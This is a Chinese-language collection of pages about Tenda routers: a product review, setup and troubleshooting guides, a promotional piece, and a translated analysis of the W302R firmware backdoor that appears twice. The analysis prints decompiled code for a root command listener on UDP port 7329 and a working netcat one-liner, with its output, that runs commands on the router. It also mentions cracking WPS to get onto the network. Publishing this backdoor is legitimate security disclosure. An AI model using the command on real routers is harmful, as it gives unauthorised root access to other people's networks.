騰達的智能路由器雄心——F1203

2013年被稱為“智能路由器元年”，這一年智能路由器以傻瓜式安裝、能屏蔽廣告和網絡加速等“智能”功能風靡全國，并帶動了一大批互聯網公司推出了自家的智能路由產品。到了2014年，智能路由器演變成和智能手機高度融合，用戶可通過手機上的APP遠程操控、監控和管理家里路由器。智能路由器變革越發徹底，玩法越來越多。至此，傳統路由器廠商終于坐不住了，一改以往的觀望態度，轉身投向智能路由器懷抱。

騰達推出的智能路由器是F1203，號稱與阿里合作。話說在場外憋了這么久，不敢說厚積薄發，騰達充分汲取了各家智能路由器的經驗教訓應是必須的。于是筆者對F1203還是很期待的，拿到F1203筆者就迫不急待地試用了起來。

你可以說F1203低調奢華有內涵

騰達似乎沒有打算為其第一款智能路由器產品起一個好記，聽上去又高大上的名字，普通得不能再普通的“F1203”，讓筆者實在不能把它與智能路由器聯系起來。路由器的外觀也“機”如其名……，通體漆黑加四根天線，第一眼看上去著實不討喜，低調得讓筆者唏噓。不過抵近觀察F1203，發現還是有些亮點，比如散熱能力出眾，它的機身采用鏤空工藝，機身側面也設計了大量散熱口。

雖說F1203長得不討喜，但是它的硬件規格絕對是低調奢華有內涵。F1203采用時下最流行的IEEE 802.11ac無線標準，無線傳輸速率最高可達1200Mbps，并且能夠兼容 802.11b/g/n標準的無線設備。此外，再搭配外置的4根5dBi高增益全向天線，理論上可以消滅家庭用戶上網的信號死角。如此硬件規格僅售128元，好吧，筆者就不強求外觀了……

F1203管理界面全體驗

只要把F1203正確聯上網絡，在瀏覽器地址欄中輸入tendawifi.com，按提示輸入賬戶和密碼就能實現上網。初次上手F1203，安裝起來輕松簡單，筆者感覺很好。

迫不及待進了F1203管理界面，清爽的UI和清晰的分類，讓筆者很熟悉，嗯，這才是智能路由器的標準界面。在這里，一共有五大類，它們分別是“路由狀態”、“外網設置”、“無線設置”、“高級功能”和“系統設置”。筆者最關心的是它的“高級功能”，這里通常是智能路由器的核心功能，大家把自已的看家絕學都放置在這里，比如能安裝智能插件、比如主打安全的一系列功能（防蹭網和防電信劫持等）。

在“高級功能”里，它只提供了兩個看起來和智能相關的兩個模塊—“智能家居”與“云管理”，點進后會彈出兩個二維碼，前者是安裝阿里的《阿里小智》APP，后者是安裝《騰達路由》APP，一個路由器需要安裝兩個APP，筆者還是頭一次遇到。很遺憾，在F1203的“高級功能”里，筆者沒有找到看起來令F1203顯得與眾不同的特色，僅僅提供了兩個APP就智能了嗎？

APP體驗，智能功能有待加強

F1203是騰達和阿里合作的產品，目前看來合作點就是指這個《阿里小智》APP了吧，于是首先試用它。阿里似乎打算把“阿里小智”APP做成所有智能硬件的操控中心，里面提供了很多和阿里有合作的智能硬件廠商，比如筆者之前給大家介紹過的小K智能插座和Yeelight智能燈泡等，點選某智能硬件并輸入Wi-Fi密碼后，就可實現操控和監測這些智能硬件的功能。作為回報，阿里利用國內第一電商的優勢，會在渠道端幫助這些智能硬件的銷售與宣傳，比如在《阿里小智》中，用戶可以輕松購買智能硬件產品。

這里，筆者選擇的是騰達F1203。在彈出的界面中選擇“連接設備”并輸入路由器密碼即可。連接上F1203后，筆者發現《阿里小智》APP提供的功能非常少，只有監測路由工作狀況、遠程開關路由器和定時預約功能，離小編心目中的“智能”相距甚遠。至于《騰達路由》APP，盡管提供的功能略多一些，但仍然主要是路由器管理、遠程操控和監測三大功能。

速度測試，F1203全覆蓋無死角

作為一款路由器，信號強度始終是第一位的，智能功能做得再花哨，如果不能做到家庭無線信號全覆蓋，那也是一只“花瓶”。筆者把F1203放在書房，然后抱著iPad air2跑到入戶花園，盡管相隔了三堵墻，《騰訊Pad管家》測得網速仍然為8MB帶寬，信號強度并沒有減弱，真正做到了家庭信號全全覆蓋無死角，筆者表示很滿意。

小編觀點

雖然長得不討喜，但得益于四根天線設計，F1203完全可以做到家庭信號全全覆蓋無死角，滿足用戶上網需求。而采用的802.11ac無線標準，又可以讓用戶接入更多的無線產品，為未來智能家居做好準備。唯一的遺憾就是騰達憋了這么久才推出F1203，仍然只是沿襲其他路由器廠商在智能方面的玩法，并沒有自已的創新和想法，讓人略有些失望。

騰達Tenda路由器后門分析

【硬件安全威脅】其實很多硬件都存在安全隱患，攻擊者利用它可以輕松地進入目標的網絡，廠商在開發過程中就應該多多關注這方面的問題，盡可能地消除這些隱患！！！

騰達W302R無線路由器的最新固件解壓后，我開始尋找基于GoAheadWeb服務器指向的/bin/httpd，騰達做了很多特殊的修改

進入HTTP接收回路前，調用產生MfgThread的功能作為一個單獨的線程的線程主函數InitMfgTask。

Hmmm…InitMfgTask 和 MfgThread? 也許可能是manufacturing tasks（mfg有可能是MANUFACTURING的縮寫，方便他們在研發過程中發生各種不能訪問路由器管理功能時留下的維修接口，估計正式產品上市的時候忘記去掉了）

首先MfgThread（Mfg進程）創建UDPsocket且綁定在7329端口上

然后線程進入一個recvfrom循環，從插座上閱讀最多128字節。預計每一個接收到的UDP數據包，至少有14個字節的長度：

現在最有意思的部分，接收到的UDP數據包，然后解析這個代碼塊：

轉C代碼表示

memset(rx_magic_string,0,0x80);memset(command_byte,0,0x80); memset(command_arg,0,0x80); memcpy(rx_magic_string, rx_buf,9); command_byte[0]= rx_buf[11]; memcpy(command_arg,rx_buf+12, rx_size-12);// If magic string doesn't match, stop processing this packet and wait foranother packet if(strcmp(rx_magic_string, "w302r_mfg") != 0) gotoouter_receive_loop;

我們可以看到，該線程被認為一個以下的數據結構包：

structcommand_packet_t{char magic[10];// 9 byte magic string ("w302r_mfg"), plus a NULL terminatingbyte char command_byte; char command_arg[117]; };

只要接收到的數據包開始字符串“w302r_mfg”，代碼然后比較三個ASCII字符指定的命令字節對（’1′，’X'，’E'）：

為了方便，我已經轉換剩余反匯編（至少重要位）后的C代碼：

switch(command_byte){case'e': strcpy(tx_buf,"w302r_mfg"); tx_size =9;break;case'1':if(strstr(command_arg,"iwpriv")!= NULL) tx_size = call_shell(command_arg, tx_buf,0x800);else strcpy(tx_buf,"000000"); tx_size =strlen(tx_buf);break;case'x': tx_size = call_shell(command_arg, tx_buf,0x800);break;default:goto outer_receive_loop;} sendto(client_socket, tx_buf, tx_size,client_sock_addr,16);goto outer_receive_loop;

以下操作對應的三個接受的命令字節：

'E'-響應與預先定義的字符串，通常是ping測試

'1' - 蓄意讓用戶運行iwpriv命令

'X'-允許你用root權限運行任何命令

如果被指定為’X'的命令字節命令字節后的數據包（稱為在上述代碼command_arg），其余的被傳遞到call_shell通過POPEN，執行命令：

更重要的是，call_shell填充tx_buf的命令，我們可以看到，從以前的C代碼，發送回客戶端的輸出緩沖區！

了解了MfgThread和其預期的數據包結構的功能，我們可以很容易用NC來執行這個后門：

$ echo -ne "w302r_mfg\x00x/bin/ls"| nc -u -q 5192.168.0.17329 drwxr-xr-x 2001363 webroot drwxr-xr-x 1000 var drwxr-xr-x 50043 usr drwxr-xr-x 1000 tmp drwxr-xr-x 2003 sys drwxr-xr-x 200569 sbin dr-xr-xr-x 39000 proc drwxr-xr-x 2003 mnt drwxr-xr-x 1000 media drwxr-xr-x 400821 lib lrwxrwxrwx 10011 init -> bin/busyboxdrwxr-xr-x 2003 home drwxr-xr-x 700154 etc_ro drwxr-xr-x 1000 etc drwxr-xr-x 1000 dev drwxr-xr-x 21000100574 bin

一點，曾經如此重要的小細節只監聽局域網上，對廣域網無法利用監聽。然而，如果是利用通過沒有暴力速率限制默認情況下啟用WPS的無線網絡，我可以用ReaverPro盒爆破WPS還不是花很多時間，該盒子提供接入WLAN和隨后的根路由器上的shell（他們還附帶一個默認WPA密鑰，你可能想先嘗試）：

從上面可以看出，這個后門可能是在首次配置騰達W302R路由器時產生的。騰達W330R也存在該后門，甚至象MedialinkMWNWAPR150N這樣重新定義品牌的模塊也存在。原因在于，他們都使用一個相同的“w302r_mfg”神奇字符串包。

原文作者:By Craig 翻譯：Bincker（職業多國語言翻譯）


騰達(tenda)無線路由器怎么安裝與設置教程

騰達（tenda）無線路由器安裝與設置與普通的騰達路由器設置相似，只是無線路由器需要多設置一下無線網絡方面的，以下電腦百事網編輯為大家詳細分享下最全的tenda無線路由器設置教程，包括騰達無線路由器的安裝與設置兩個部分，相信閱讀完本文，所有的朋友們也可以輕松設置騰達無線路由器。

騰達無線路由器安裝方法：

如下圖所示WAN口連接寬帶進線、LAN口連接局域網內的電腦。

下圖為完整的無線網絡結構拓撲圖

tenda無線路由器設置步驟：如何登陸路由器

1.設置所連接電腦的IP地址。

右鍵點擊網上鄰居屬性（如下圖）

右鍵點擊本地連接屬性（如下圖）

選擇Internet協議TCP/IP屬性

點擊選擇自動獲得IP地址和自動獲取DNS服務器地址。好了后點擊確定按鈕

當然我們也可以設置手動的IP地址（如下圖）

IP地址：192.168.0.XXX：(XXX為2~254)

子網掩碼：255.255.255.0

網關：192.168.0.1

DNS服務器：您可以填寫您當地的DNS服務器地址（可咨詢您的ISP供應商）也可以由路由器作為DNS代理服務器。

2.登陸騰達路由器

打開IE瀏覽器，輸入路由器的默認IP地址（192.168.0.1）并回車（如下圖）

在彈出的登陸窗口里，輸入用戶名：admin；密碼：admin；然后單擊確定。（如下圖）

如果您輸入的用戶名和密碼正確，瀏覽器將進入管理員模式的主頁面。（如下圖）

tenda無線路由器設置：設置撥號寬帶連接

第一步：連接好線，外線要插入wan 的端口，然后再用網線插入從其余的4個端口中的其中一個端口，并與電腦相連（網卡的IP設置為自動獲取或者將IP設置為192.168.0.X（2-254之間）不是特別懂的用戶請設置為自動獲取）。然后打開ie，在地址欄中輸入192.168.0.1

第二步：出現如下界面，默認的用戶名和密碼均為 admin

第三步：進入設置界面，點選快速設置，然后選者ADSL虛擬撥號(PPPoE)會出現如下的界面，點擊下一步

第四步：設置向導-ADSL，這里要求你輸入上網用戶名和密碼，填完之后點選下一步

第四步：設置向導-ADSL，這里要求你輸入上網用戶名和密碼，填完之后點選下一步

注意的一點：如果設置完成需要重啟路由的，要進入設置頁面的系統工具去點選重啟路由器選項，切莫不要去捅路由器的屁股!不然前面都工作就白費了!

設置好后在運行狀態里可以查看到路由器是否連接到網絡。

tenda無線路由器設置：設置無線網絡連接

1.無線基本設置。

點擊左側的無線設置無線基本設置（如下圖）

啟用無線功能：勾選后，啟用無線功能，如果您不想使用無線，可以取消選擇，所有與無線相關的功能將禁止；

網絡模式：根據無線客戶端類型選擇其中一種模式。（一般如果不知道的話就選擇默認的混合模式）

SSID：服務集合標識符、無線信號的網絡名稱，可修改，SSID為必填項。

廣播(SSID)：選擇關閉禁止路由器廣播SSID，無線客戶端將無法掃描到路由器的SSID。選擇關閉后，客戶端必須知道路由器的SSID才能與路由器進行通訊，默認為開啟。

信道：路由器當前使用的信道，從下拉列表中可以選擇其它有效工作信道，可選項在1-13之間。

2.騰達無線路由器無線安全設置

點擊左側無線設置無線安全設置（如下圖）。介紹最常用的三種加密方式，其中包括MixedWEP加密、WPA-個人、WPA2-個人等。

騰達tenda路由器設置方法

許多剛買了tenda路由器的新手朋友們，還不知道騰達tenda路由器的設置方法，下面將通過圖文并茂的方式，為你詳細的介紹tenda路由器的具體設置步驟，希望能夠幫助到你！

步驟一：連接好線路

電話線入戶的用戶（請準備2根短網線）

將電話線（比較細的那根線）接貓的line口（比較小的那個口）,貓分出來一根網線接路由器的WAN口,

再找一根短網線，一頭接電腦，一頭接路由器1/2/3/4任意接口，常見接線方式如下圖：

注意：路由器正常工作狀態下指示燈SYS閃爍，WAN口常亮或閃爍，1/2/3/4口中與電腦相連的端口常亮或閃爍。

直接網線接入的用戶

將入戶的寬帶線接路由器WAN口，再找一根短網線，一頭接電腦，一頭接路由器1/2/3/4任意接口，常見接線方式如下圖：

注意：路由器正常工作狀態下指示燈SYS閃爍，WAN口常亮或閃爍，1/2/3/4口中與電腦相連的端口常亮或閃爍。

步驟二：配置好電腦

將電腦上的本地連接IP地址設置為“自動獲得IP地址

Windows XP系統IP地址設置（如下） 如何給電腦設置IP地址

1、右鍵點擊桌面上的“網上鄰居”，按如下操作打開本地連接屬性：

2、雙擊“Internet 協議（TCP/IP）”:

3、選擇“自動獲得IP地址”“自動獲得DNS服務器地址”，“確定”即可:

步驟三：設置路由器上網

3.1 在瀏覽器中輸入：192.168.0.1 按回車鍵，在跳轉的頁面中輸入密碼admin 點擊“確定”。

192.168.0.1進不去,怎么辦？

3.2 選擇正確的上網方式

ADSL撥號上網設置（如下）： 路由器寬帶連接設置圖文教程

在頁面中選擇“ADSL撥號”,輸入寬帶的帳號和密碼,“確定”即可,參考如下設置步驟：

步驟四：試試電腦可以上網了嗎

注意：通過路由器正常上網后，就不需要再點擊“寬帶連接”，開機就能上網。

如果WAN口狀態顯示“已連接”，就可以瀏覽網頁，上網沖浪了。

步驟五：更改無線網絡名稱和無線密碼

1、在瀏覽器中輸入：192.168.0.1 按回車鍵 在跳轉的頁面中輸入“admin”，“確定”。

2、點擊“高級設置”或者頁面右上角的“高級設置”。

3、點擊“無線設置”更改無線網絡名稱和無線網絡密碼

修改無線網絡名稱，參考如下操作步驟：

修改無線網絡密碼，參考如下操作步驟：

自動獲取上網設置：

在頁面中選擇“自動獲取” “確定”即可，參考如下操作步驟：

靜態IP上網設置

在頁面中點擊“高級設置”--“WAN口設置”，選擇模式為：“靜態IP”，

輸入電腦上網固定的IP地址，子網掩碼，默認網關，DNS服務器， “確定”即可，參考如下操作步驟：

Windows 7 系統IP地址設置

1、點擊桌面右下角的網絡圖標，打開“網絡和共享中心”。

2、點擊左側的“更改適配器設置”。

3、鼠標右鍵點擊“本地連接”圖標，選中“屬性”。

4、雙擊“Internet協議版本4（TCP/IP）”。

5、選擇“自動獲取IP地址”“自動獲取DNS地址”“確定”即可。

192.168.0.1進不去怎么辦？

故障1：本地連接顯示已連接或者顯示黃色感嘆號

故障2：輸入原始密碼admin，確定后界面無反應

故障3：提示“脫機工作”

故障4：彈出“拔號連接”

故障1：本地連接顯示已連接，或者顯示黃色感嘆號

解決方法：

(1)將電腦本地連接設為自動獲取IP。

(2)手動設置本地連接IP地址為：192.168.0.X（ 1<X<254 ）

(3)在路由器通電的情況下長按路由器面板上的Reset按鈕10秒左右將路由器恢復至出廠設置，嘗試重新登錄。

故障2：輸入原始密碼admin 確定后界面無反應？

解決方法：

(1)確認輸入的密碼正確，注意區分大小寫，路由器默認登錄密碼為 admin 。

(2)嘗試更換瀏覽器操作。

(2)在路由器通電的情況下長按路由器面板上的Reset按鈕10秒左右將路由器恢復至出廠設置，嘗試重新登錄。

(3)清理電腦IE緩存后，嘗試重新登錄。具體操作方法：

故障3：登陸路由器管理界面顯示“脫機工作”。

解決方法：在瀏覽器菜單欄點擊“文件”取消脫機工作前面的勾。

故障4：登錄路由器管理界面時顯示“拔號連接”

解決方法：取消撥號連接，然后嘗試重新登錄，操作方法如下

如何選擇路由器的上網方式？

上不了網怎么辦？

設置完成后,若還不能訪問因特網，請查看系統狀態下的WAN口狀態并參考下面的問題描述排查

問題1：顯示“連接中” 問題2：顯示“未連接” 問題3：顯示“已連接”

問題1：顯示“連接中”怎么辦？

原因1：上網方式選擇錯誤。

解決方法：選擇正確的上網方式 如何選擇上網方式請參考文章結束處

原因2：上網方式為ADSL撥號時，輸入了錯誤的用戶名跟密碼，或帳號密碼沒區分大小寫

解決方法：確認寬帶帳號跟密碼是否輸入正確，帳號密碼區分大小寫。

原因3：上網方式為自動獲取時，LAN口地址與上級路由器分配的IP地址沖突

解決方法：嘗試修改路由器LAN口地址 如何修改LAN口速率請參考文章結束處

原因4：部分網絡供應商將您的寬帶帳號信息跟您的電腦MAC地址進行了綁定

解決方法：在不接路由器可以正常上網的電腦上嘗試克隆MAC地址。如何克隆MAC地址請參考文章結束處

原因5：入戶的寬帶線過長

解決方法：嘗試修改路由器WAN口速率為10M全雙工。如何修改WAN口速率請參考文章結束處

問題2：顯示“未連接” 怎么辦？

原因1：線路連接錯誤（WAN口未接線 或 誤將應連接在WAN口的上網線接在LAN口上,）

解決方法：檢查網線的兩端是否連接到正確的端口并且插緊；連接正確后，路由器上WAN口指示燈應常亮或者閃爍。

原因2：網線質量太差

解決方法：更換網線。

原因3：驅動能力不足

解決方法：嘗試修改WAN口速率為10M全雙工。如何修改WAN口速率請參考文章結束處

問題3： 顯示“已連接”但無法上網，怎么辦？

原因1：上網方式選擇錯誤

解決方法：選擇正確的上網方式。如何選擇上網方式請參考文章結束處

原因2：上級設備做了MAC地址過濾

解決方法：選擇正確的上網方式。

原因3：上級設備做了MAC地址過濾

解決方法：在不接路由器可以正常上網的電腦上嘗試克隆MAC地址。如何克隆MAC地址請參考文章結束處

若可以登錄QQ，但是無法打開網頁，可嘗試手動指定DNS為8.8.8.8。如下圖：

如何修改WAN口速率？

操作步驟：依次點擊“高級設置”-“WAN口速率控制”-“10M全雙工”-“確定”。

如何克隆MAC地址？

操作步驟：（請在不接路由器可以正常上網的電腦上操作）

依次點擊“高級設置”-“MAC克隆”-“克隆MAC地址”-“確定”。

如何修改LAN口地址？

操作步驟：“高級設置”-“LAN口設置”-輸入新的LAN口地址-確定-重啟后生效

如果本經驗對你有幫助，請你鼠標點擊一下“收藏”或“分享”給予我一點肯定哦
騰達Tenda路由器后門詳細分析

一直有人認為D-Link是唯一的將在其產品中放置后門供應商，其實這里還有一個供應商也同樣在產品中放置了后門，并且可以利用單個UDP數據包就搞定。她——就是騰達。

騰達W302R無線路由器的最新固件解壓后，我開始尋找基于GoAheadWeb服務器指向的/bin/httpd，騰達做了很多特殊的修改：

進入HTTP接收回路前，調用產生MfgThread的功能作為一個單獨的線程的線程主函數InitMfgTask。

Hmmm…InitMfgTask 和 MfgThread? 也許可能是manufacturing tasks(mfg有可能是MANUFACTURING的縮寫，方便他們在研發過程中發生各種不能訪問路由器管理功能時留下的維修接口，估計正式產品上市的時候忘記去掉了)

首先MfgThread(Mfg進程)創建UDP socket且綁定在7329端口上

然后線程進入一個recvfrom循環，從插座上閱讀最多128字節。預計每一個接收到的UDP數據包，至少有14個字節的長度：

現在最有意思的部分，接收到的UDP數據包，然后解析這個代碼塊：

轉C代碼表示

memset(rx_magic_string, 0, 0x80); memset(command_byte, 0, 0x80); memset(command_arg, 0, 0x80); memcpy(rx_magic_string, rx_buf, 9); command_byte[0] = rx_buf[11]; memcpy(command_arg, rx_buf+12, rx_size-12); // If magic string doesn't match, stop processing this packet and wait for another packet if(strcmp(rx_magic_string, "w302r_mfg") != 0) goto outer_receive_loop;

我們可以看到，該線程被認為一個以下的數據結構包：

struct command_packet_t { char magic[10]; // 9 byte magic string ("w302r_mfg"), plus a NULL terminating byte char command_byte; char command_arg[117]; };

只要接收到的數據包開始字符串“w302r_mfg”，代碼然后比較三個ASCII字符指定的命令字節對(’1′，’X'，’E')：

為了方便，我已經轉換剩余反匯編(至少重要位)后的C代碼：

switch(command_byte) { case 'e': strcpy(tx_buf, "w302r_mfg"); tx_size = 9; break; case '1': if(strstr(command_arg, "iwpriv") != NULL) tx_size = call_shell(command_arg, tx_buf, 0x800); else strcpy(tx_buf, "000000"); tx_size = strlen(tx_buf); break; case 'x': tx_size = call_shell(command_arg, tx_buf, 0x800); break; default: goto outer_receive_loop; } sendto(client_socket, tx_buf, tx_size, client_sock_addr, 16); goto outer_receive_loop;

以下操作對應的三個接受的命令字節：

'E'-響應與預先定義的字符串，通常是ping測試

'1' - 蓄意讓用戶運行iwpriv命令

'X'-允許你用root權限運行任何命令

如果被指定為’X'的命令字節命令字節后的數據包(稱為在上述代碼command_arg)，其余的被傳遞到call_shell通過POPEN，執行命令：

更重要的是，call_shell填充tx_buf的命令，我們可以看到，從以前的C代碼，發送回客戶端的輸出緩沖區!

了解了MfgThread和其預期的數據包結構的功能，我們可以很容易用NC來執行這個后門：

$ echo -ne "w302r_mfgx00x/bin/ls" | nc -u -q 5 192.168.0.1 7329 drwxr-xr-x 2 0 0 1363 webroot drwxr-xr-x 1 0 0 0 var drwxr-xr-x 5 0 0 43 usr drwxr-xr-x 1 0 0 0 tmp drwxr-xr-x 2 0 0 3 sys drwxr-xr-x 2 0 0 569 sbin dr-xr-xr-x 39 0 0 0 proc drwxr-xr-x 2 0 0 3 mnt drwxr-xr-x 1 0 0 0 media drwxr-xr-x 4 0 0 821 lib lrwxrwxrwx 1 0 0 11 init -> bin/busybox drwxr-xr-x 2 0 0 3 home drwxr-xr-x 7 0 0 154 etc_ro drwxr-xr-x 1 0 0 0 etc drwxr-xr-x 1 0 0 0 dev drwxr-xr-x 2 1000 100 574 bin

一點，曾經如此重要的小細節只監聽局域網上，對廣域網無法利用監聽。然而，如果是利用通過沒有暴力速率限制默認情況下啟用WPS的無線網絡，我可以用ReaverPro盒爆破WPS還不是花很多時間，該盒子提供接入WLAN和隨后的根路由器上的shell(他們還附帶一個默認WPA密鑰，你可能想先嘗試)：

神奇的字符串表明，這個后門可能是首次實施騰達W302R路由器，騰達W330R也存在該后門，以及想MedialinkMWNWAPR150N這樣重新定義品牌的模塊如。他們都使用相同的“w302r_mfg”magic packet string (神奇的字符串包?)

無線路由器怎么設置?騰達FH456四天線家用無線路由器使用有感

這一款騰達FH456無線路由器，適用于家庭或小型企業使用的無線路由器。其擁有4倍與普通穿墻路由器的穿墻能力，外置的4根全向天線更是輕松掃除信號死角。另外路由器采用與蘋果WIFI設備芯片同一門的美國博通芯片，具有兼容性強、穩定等特點，讓每一位用戶盡情享受無線網絡帶來的高質量、超流暢的網速體驗。

隨著現代社會科技的發展，人們手中越來越多需要WiFi支持的電子設備，不論走到哪里，無線WiFi隨處可見。然而，我們也常常遇到路由器因為信號覆蓋差、穿墻能力弱導致上網卡頓甚至打不開網頁，非常影響每一個人心情的，那么什么樣的路由器能達到它既要有時尚的外觀可以吸引我們的眼球；又要有豐富的功能和穩定的性能來能滿足我們日常的無線上網需求；還要有適當的價格，或者說性價比要高？

騰達四天線穿墻王路由器FH456上市，以99元的高配低價，打破了四天線路由器上百元的一貫定價。憑借高性能、低定價的性價比，騰達FH456成為今年路由器市場的新寵。

產品參數：

產品名稱：Tenda/騰達 FH456

品牌:Tenda/騰達

型號:FH456

顏色分類:白色

是否無線:無線

無線傳輸速度:300Mbps

有線傳輸率:10/100Mbps

無線傳輸速率:300Mbps

網絡標準:802.11b802.11g802.11a802.11n

無線網絡支持頻率:2.4G

適用對象:網絡安全路由器多業務路由器電信級高端路由器寬帶路由器家用。

采用外置天線設計，外置的四根全向天線采用方形布局，每根天線在不同方位發射圓切面波形，讓無線信號可以向四周發射，強力提升無線信號的覆蓋面積，消除家中的無線信號死角。

外形設計時尚大方，表面采用鏡面拋光工藝。拋棄無線路由器以往“傻笨”的特點，無論將其擺在那里都能成為一道風景。

除了網絡主線接口以外，還有三個有線接口，有線無線，自由選擇！

除了重置鍵外，還設有一個“WiFi開關”鍵，可以根據需要隨時開關無線網絡。綠色生活，保護家中敏感人群如小孩、老人、孕婦等的健康。

正常工作狀態時指示燈SYS閃爍，WAN口常亮或閃爍，LAN1/LAN2/LAN3口中與電腦相連的端口常亮或閃爍。

對于路由器而言，良好的散熱功能很重要！機身的側面和底部設計有大量的散熱孔，可以保證內部熱量的及時散出，為長時間的穩定工作提供了可靠保障。

第一次安裝無線路由器或者新換無線路由器時，安裝和部署往往讓人頭疼。騰達FH456在安裝和部署方面，喊出了“怕安裝，找騰達”的口號。大大簡化了安裝和配置的步驟，讓用戶自己動手就能夠輕松搞定家庭無線網絡。下面，我們就來打開瀏覽器，在地址欄輸入“http://192.168.0.1”，訪問這個地址就可以進入騰達FH456的配置頁面。

進入系統界面后，默認的頁面就是“上網設置”頁面。選擇好自己的聯網方式后，再對無線網絡進行名稱和密碼設置即可完成無線路由器的部署，可以正常使用無線網絡。

注：

1、ADSL聯網，需要輸入運營商提供的用戶名和密碼，然后連接即可成功上網。如果無需其它功能，普通的家庭用戶在這一頁就可以完成無線路由器的配置，非常方便，不用一分鐘即可完成。

2、動態IP上網，又叫做DHCP上網；采用動態IP這種方式上網時，寬帶運營商(或者是網絡管理員)會先提供一根網線到用戶家里；在未使用路由器時，只需要把這根入戶網線連接到電腦，然后把電腦的IP地址配置為自動獲得，電腦就可以上網了。

3、靜態IP上網，又叫做固定IP上網；采用靜態IP這種上網時，寬帶運營商（網絡管理員）會提供一組IP地址、子網掩碼、網關、2個DNS地址給用戶，還會提供一根網線到用戶家里。

網速控制設置：

在“上網設置”下方，是“網速控制”功能。這一功能，可以對接入的每一臺設備進行網速的限制。并且對于每臺設備，用戶可以在備注中為其取一個名字，方便用戶管理家中的無線設備。頁面中詳細顯示了每臺設備的IP地址、MAC地址，連接方式和下載速度。網速限制功能中，點擊下拉菜單，會顯示出“網頁瀏覽”、“觀看標清視頻”、“觀看高清視頻”、“手動限速”四個功能，方便用戶一鍵對接入設備限速。

無線WiFi設置：

無線WiFi的設置，包括了無線WiFi名稱設置、無線WiFi密碼設置、WiFi定時開關設置3個方面的內容。WiFi名稱、WiFi密碼相信大家都能夠理解；WiFi定時可能不少用戶還不知道是干什么用的，顧名思義，WiFi定時就是設置騰達FH456路由器的WiFi，在規定的時間段內處于開啟/關閉狀態，好處是可以減少輻射、節約能源。尤其是對于家庭用戶來說，在這一界面，可以設定無線網絡的關閉時間段，管控家中孩子的上網時間，讓孩子更健康成長。

無線中繼設置：

1、熱點信號放大模式(WISP)

騰達(Tenda)FH456路由器的熱點信號放大模式上網，實際上是讓騰達FH456無線路由器，先接收一個已經可以上網的WiFi信號，然后再轉發出去，實現放大無線信號的目的。一般用來放大中國電信、中國聯通、中國移動提供的熱點信號。

2、無線信號放大模式(Client AP)

騰達(Tenda)FH456無線路由器的無線信號放大模式(Client AP)上網，顧名思義，就是用來放大已知無線路由器的WiFi信號。

信號強度調節和系統管理功能：

強力無線信號覆蓋的秘訣，在系統的“信號強度調節”中也有體現，一共有兩檔無線信號強度可以供用戶調節。不同的家庭環境和戶型結構，可以根據自身情況選擇合適的無線信號強度，一鍵選擇非常簡單。“系統管理”功能是用戶對路由器日常維護的重要功能，更改后臺系統的登錄密碼，改變無線信道，重啟路由器等功能都集成在這一頁面中。根據需求，下拉菜單，輕松點擊即可完成對FH456的管理。

如果你對這款騰達FH456無線路由器感興趣，請長按上面二維碼或點擊左下角“閱讀原文”進入官方授權旗艦店微店購買。
騰達路由器設置

登陸騰達路由器

1、打開Web瀏覽器，在地址欄中鍵入“http：//192.168.0.1”， 并回車。

2、在彈出的登陸窗口里，輸入密碼：admin；然后單擊“確定”。

3、如果您輸入的密碼正確，瀏覽器將進入管理員模式的主頁面。

設置騰達路由器實現快速上網

在騰達路由器管理界面中有兩種快速上網方式一種是ADSL撥號一種是自動獲取。當你選擇ADSL撥號時，您只需輸入上網賬號和上網口令,以及無線加密的密碼.點擊"確認"即設置成功.

當您選擇自動獲取時，只需輸入無線加密的密碼并點擊“確定”即設置成功。

騰達路由器設置需注意:

默認上網方式為寬帶撥號,上網賬號和上網口令為寬帶撥號的賬號和密碼,可向寬帶運營商咨詢;如果需要使用其他上網方式,請查看第4章高級設置中WAN口設置部分.無線加密的密碼只能輸入8個字符,默認為12345678, 您可以根據需要更改密碼。

騰達路由器實現快速上網的步驟就為大家介紹完了，如果您的設置不成功，那就查看一下您的主機是夠配置的正確，可參照如下的文章進行設置：


騰達路由器設置教程

騰達（Tenda）-無線路由器如何設置寬帶連接（PPPOE）上網

2、（有光貓）把光貓分出來一根網線接路由器的WAN口（藍色標識），再找一根短網線，一頭接電腦，一頭接路由器1/2/3任意接口（黃色），接線方式如下圖：

注意:通電后，路由器正常工作狀態是SYS指示燈閃爍，WAN指示燈常亮或閃爍，與電腦相連的1/2/3端口指示燈常亮或閃爍。如接線后對應1/2/3端口的指示燈不亮或電腦的網卡圖標顯示紅色的叉，則表明

線路連接有問題，嘗試檢查下網線連接或換根網線試試。

將電腦上的本地連接IP地址設置為“自動獲得IP地址”

1、點擊桌面右下角的網絡圖標，打開“網絡和共享中心”

Win8系統自動獲取ip

2、點擊“更改適配器設置”

3、右鍵點擊“本地連接”選擇“屬性”

4、雙擊“Internet協議版本4（TCP/IP）”

5、選擇“自動獲得IP地址”，“自動獲得DNS服務器地址”，點擊“確定”-“確定”。

1、打開瀏覽器，在瀏覽器地址欄中輸入：192.168.0.1按回車鍵登錄設置界面。

2、在設置頁面中選擇“ADSL撥號”， 在“寬帶用戶名”和“寬帶密碼”中輸入寬帶運營商（例如：電信、聯通等）提供的寬帶用戶名和密碼 ，點擊“確定”即可。

設置完成后，如聯網狀態顯示“已聯網”，就可以瀏覽網頁，上網沖浪了。

TENDA騰達路由器設置教程 騰達tenda無線路由器設置教程

本文以騰達系列無線路由器為例，主要給大家介紹下tenda無線路由器設置的過程，全文為圖解過程，便于大家理解和掌握，重點介紹無線網絡配置部分。

tenda無線路由器設置：硬件設備的安裝連接

如下圖所示WAN口連接寬帶進線、LAN口連接局域網內的電腦。

下圖為完整的無線網絡結構拓撲圖

tenda無線路由器設置：如何登陸路由器

1.設置所連接電腦的IP地址。

右鍵點擊“網上鄰居”“屬性”(如下圖)

右鍵點擊“本地連接”“屬性”(如下圖)

選擇“Internet協議TCP/IP”“屬性”

點擊選擇“自動獲得IP地址”和“自動獲取DNS服務器地址”。好了后點擊“確定”按鈕

當然我們也可以設置手動的IP地址(如下圖)

IP地址：192.168.0.XXX：(XXX為2~254)

子網掩碼：255.255.255.0

網關：192.168.0.1

DNS服務器：您可以填寫您當地的DNS服務器地址(可咨詢您的ISP供應商)也可以由路由器作為DNS代理服務器。

2.登陸路由器。

打開IE瀏覽器，輸入路由器的默認IP地址(192.168.0.1)并回車(如下圖)

在彈出的登陸窗口里，輸入用戶名：admin;密碼：admin;然后單擊“確定”。(如下圖)

如果您輸入的用戶名和密碼正確，瀏覽器將進入管理員模式的主頁面。(如下圖)

tenda無線路由器設置：設置寬帶連接

